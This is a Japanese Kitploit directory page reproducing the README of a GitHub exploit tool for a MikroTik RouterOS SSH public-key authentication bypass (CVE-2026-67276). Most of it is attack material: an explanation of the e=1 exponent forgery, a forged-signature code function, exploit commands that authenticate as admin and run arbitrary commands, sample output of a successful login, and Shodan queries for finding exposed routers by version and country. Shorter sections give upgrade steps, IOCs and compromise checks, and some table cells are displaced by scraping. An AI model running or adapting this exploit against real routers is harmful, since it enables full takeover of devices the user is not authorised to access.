Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
exploit-mikrotik-2026 — CVE-2026-67276 MikroTik RouterOS SSH 認証バイパス Exploit | Kitploit
ツール/GitHubGitHub/blackhatexploitation/exploit-mikrotik-2026
偵察脆弱性分析エクスプロイト情報収集ネットワークセキュリティペネトレーションテスト認証
GitHubblackhatexploitation/exploit-mikrotik-2026

exploit-mikrotik-2026

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-67276 MikroTik RouterOS SSH 認証バイパス Exploit

リポジトリを見る
8時間16分前未レビュー

CVE-2026-67276 - MikroTik SSH認証バイパスエクスプロイト

CVE Severity Type Platform

MikroTik RouterOS SSH公開鍵認証バイパス - 秘密鍵は不要

CVE-2026-67276(MikroTrick)の概念実証エクスプロイト。MikroTik RouterOSのSSH実装における重大な認証バイパス脆弱性であり、攻撃者が秘密鍵を所持せずに任意のユーザーとして認証できるようにします。


目次

  • 脆弱性の概要
  • 動作原理
  • 影響を受けるバージョン
  • インストール
  • 使用方法
  • Shodan偵察
  • 技術的詳細
  • 対策
  • 参考情報
  • 免責事項

脆弱性の概要

MikroTrick攻撃チェーン

CVE-2026-67276は、CERT PLによって**「MikroTrick」**と名付けられた大規模な攻撃チェーンの一部であり、実際の環境で活発に悪用されていることが確認されています:


動作原理

脆弱性の仕組み

RouterOSのSSH認証には、公開鍵の検証方法に重大な欠陥があります:

  1. 鍵マッチングのバグ: RouterOSは提示されたSSH公開鍵ブロブを、(鍵タイプ、モジュラス)のみを使用して許可鍵と照合し、指数部を完全に無視します
  2. クライアントからの指数部: 署名検証では、保存された鍵ではなくクライアントが供給したブロブの指数部が使用されます
  3. 簡単な偽造: {ssh-rsa, e=1, n=被害者のモジュラス} を提示することで、検証が自明になります

数学的根拠

root@kitploit:~
標準RSA検証:  sig^65537 mod n == 期待値  (秘密鍵が必要)
悪用された検証:     sig^1 mod n == sig           (秘密鍵は不要!)

指数部 e=1 の場合、署名検証は次のようになります:

root@kitploit:~
sig^1 mod n == sig

つまり「署名」は単にEMSA-PKCS1-v1_5でエンコードされた認証データそのものであり、被害者の公開モジュラスを知っている誰でも構築可能です。

攻撃の前提条件

  1. 許可されたRSA鍵を持つアカウントのターゲットユーザー名
  2. その許可鍵のRSA公開モジュラス n(.pubファイル、以前の接続などから取得)
  3. SSHポートへのネットワークアクセス

影響を受けるバージョン

ブランチ脆弱な範囲修正済みバージョン
6.x6.0 - 6.49.206.49.21+
7.x stable

インストール

root@kitploit:~
# リポジトリをクローン
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026

# 依存関係をインストール
pip install paramiko cryptography

使用方法

クイックスタート

root@kitploit:~
# 基本エクスプロイト - 鍵を自動生成し、バージョンを検出
python3 full_exploit.py --host 192.168.88.1 --username admin

# 認証後にコマンドを実行
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'

# カスタムポート
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin

既存の公開鍵を使用する場合

root@kitploit:~
# 被害者の公開鍵ファイルがある場合
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub

# またはモジュラスを直接指定
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."

バージョン検出

エクスプロイトはRouterOSのバージョンを自動検出し、脆弱性の状態を確認します:

root@kitploit:~
# MikroTik以外または不明なバージョンでもエクスプロイトを強制実行
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check

全オプション

root@kitploit:~
--host              ターゲットRouterOSのIP/ホスト名(必須)
--port              SSHポート(デフォルト: 22)
--username          ターゲットRouterOSのユーザー名(必須)
--pubkey            RSA公開鍵ファイル(指定しない場合は自動生成)
--modulus-hex       RSAモジュラス(16進数)(--pubkeyの代替)
--algos             署名アルゴリズム(デフォルト: ssh-rsa,rsa-sha2-256)
--exec              認証後に実行するコマンド
--exp-enc           指数部エンコーディング: canonical(1バイト)または aligned(3バイト)
--timeout           接続タイムアウト(デフォルト: 15.0秒)
--skip-version-check    RouterOSバージョン検証をスキップ
--shodan-dorks      Shodan検索クエリを表示
--shodan-search     Shodan APIでターゲットを検索
--shodan-key        Shodan APIキー
--shodan-query      カスタムShodanクエリ
--shodan-limit      Shodan結果の上限(デフォルト: 100)

Shodan偵察

ドークの表示

root@kitploit:~
python3 full_exploit.py --shodan-dorks

Shodan APIの検索

root@kitploit:~
# 基本検索
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY

# カスタムクエリ
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'

便利なShodanクエリ


技術的詳細

SSH公開鍵ブロブ構造

root@kitploit:~
string    "ssh-rsa"
mpint     e(公開指数)  <- 攻撃者が e=1 を供給
mpint     n(モジュラス)          <- 被害者の実際のモジュラス

偽造署名の生成

root@kitploit:~
# 「署名」は単にEMSA-PKCS1-v1_5でエンコードされた認証データ
def forged_signature(data, sig_alg, n):
    k = (n.bit_length() + 7) // 8
    block = emsa_pkcs1_v15(data, sig_alg, k)
    return block  # e=1の場合、これが有効な署名そのもの

ワイヤーフォーマットの注意点

  • ブロブの内部タイプ文字列は、rsa-sha2-256/512アルゴリズムでもssh-rsaのまま
  • 署名アルゴリズムは外部のアルゴリズムフィールドのみに格納
  • canonical(1バイト)とaligned(3バイト)の両方のe=1エンコーディングが脆弱なバージョンで動作

出力例

root@kitploit:~
[*] CVE-2026-67276 MikroTrick Exploit
[*] Target: 192.168.88.1:22

[*] Detecting RouterOS version...
[*] SSH Banner: SSH-2.0-ROSSSH-7.23.3
[*] RouterOS Version: 7.23.3
[+] VERSION VULNERABLE - CVE-2026-67276 applies

[*] Generating 2048-bit RSA keypair...
[+] Private key saved: /path/to/exploit_key
[+] Public key saved:  /path/to/exploit_key.pub
[*] Modulus: 2048-bit | forged e=1
[*] Exponent encoding: canonical (01)

[*] Trying rsa-sha2-256 ...
[+] AUTHENTICATED as 'admin' via rsa-sha2-256
[+] CVE-2026-67276 CONFIRMED - target is vulnerable
--- command output ---
                uptime: 14d23h45m12s
               version: 7.23.3 (stable)
            build-time: Sep/01/2026 12:00:00

対策

1. 直ちにアップグレード

root@kitploit:~
# 現在のバージョンを確認
/system resource print

# 修正済みバージョンにアップグレード
/system package update download
/system reboot

最低安全バージョン:

  • 6.xブランチ: 6.49.21
  • 7.x stable: 7.23.4
  • 7.x testing: 7.24.2

2. 不要な場合はSSHを無効化

root@kitploit:~
/ip service disable ssh

3. SSHアクセスを制限

root@kitploit:~
# IPアドレスによる制限
/ip service set ssh address=192.168.88.0/24

# ファイアウォールルール
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
    src-address=!192.168.88.0/24 action=drop

4. 侵害の確認

root@kitploit:~
# 不審なユーザーの確認
/user print

# 「ops」ユーザーの確認(既知の攻撃者指標)
/user print where name=ops

# デバイスのフラグ状態の確認
/system/device-mode/print

# ログの確認
/log print where topics~"ssh"

既知のIOC:

  • ログエントリ: login failure for user -2 via ssh
  • 不明な特権ユーザー ops
  • デバイスの「Flagged」マーカー
  • 攻撃者IP: 82.192.72.4, 103.102.31.18

参考情報

  • CERT PL勧告
  • CERT PL CVE詳細
  • MikroTikセキュリティ速報
  • RFC 8017 - PKCS#1 v2.2
  • RFC 8332 - SSHにおけるSHA-256/512を使用したRSA鍵の使用
  • RFC 4252 - SSH認証プロトコル

免責事項

⚠️ このツールは、許可されたセキュリティテストおよび教育目的のみで提供されています。

  • 所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください
  • コンピュータシステムへの不正アクセスは、CFAA、Computer Misuse Act、および世界各国の同様の法律で違法です
  • 著者は、このツールの誤用またはそれによって生じた損害について一切の責任を負いません
  • このツールを使用することで、責任を持って合法的に使用することに同意したものとみなされます

ライセンス

MITライセンス - 詳細はLICENSEを参照してください。


著者

セキュリティ研究PoC - CVE-2026-67276ラボ実装

このリポジトリが役立つと思ったらスターを付けてください!

ツールをダウンロード
詳細情報
CVE IDCVE-2026-67276
深刻度重大(CVSS 9.8)
CWECWE-347(暗号署名の不適切な検証)
攻撃ベクトルネットワーク
認証不要
複雑性低
影響デバイスの完全な乗っ取り
CVEタイプ説明
CVE-2026-67276認証バイパス指数部の偽造によるSSH公開鍵認証バイパス
CVE-2026-86060権限昇格ユーザー名による引数インジェクション
CVE-2026-67279認証バイパスuserauth完了前のSSH接続
CVE-2026-67277情報漏洩bandwidth-testによるカーネルメモリリーク
CVE-2026-67278署名バイパスX.509不正形式署名の受け入れ
CVE-2026-67281ファイル読み取りjsproxyによるWebFigルートファイル読み取り
7.0 - 7.23.3
7.23.4+
7.x testing7.24.0 - 7.24.17.24.2+
ターゲットクエリ
全MikroTikMikroTik
MikroTik SSHMikroTik port:22
Winbox公開port:8291
WebFigパネルhttp.title:RouterOS
RouterOS 6.49.xMikroTik "6.49"
RouterOS 7.xMikroTik "RouterOS v7"
国別MikroTik country:US
脆弱性のヒントMikroTik ("6.49" OR "7.23" OR "7.24.0")